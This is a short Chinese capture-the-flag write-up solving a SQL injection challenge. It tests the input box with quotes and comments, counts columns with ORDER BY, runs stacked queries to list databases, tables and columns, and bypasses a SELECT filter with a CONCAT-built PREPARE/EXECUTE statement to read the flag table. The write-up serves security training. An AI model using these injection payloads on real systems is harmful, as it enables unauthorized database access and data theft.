考点:sql注入、二次注入
打开网页,是一个输入框:
输入1,并提交:
看到返回数组,测试是否存在注入点:输入1‘
返回报错。
输入1‘ #
返回正常
尝试手工注入:
1、输入1‘ order by *,测试能返回几列,多次尝试,*处为2,即:1’ order by 2能返回正常。
再试着输入select测试返回点:1’ union select 1,2 #
看到好多字符被过滤。尝试sqlmap 只能爆出库名为supersqli
尝试堆叠注入
输入:1’; show databases; #
看到了返回的库名
再看看表名有哪些:1’;show tables; #
看到有两张表:分别为flagg和words
分别看看都有哪些列:1’;show columns from flagg #
看到了我们想要flag列。下面就是想如何读取里面的内容了。
Select 被过滤,无法正常查询。只能拼接查询语句:
-1';use supersqli;set @sql=concat('s','elect `flag` from `flagg`');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
得到flag。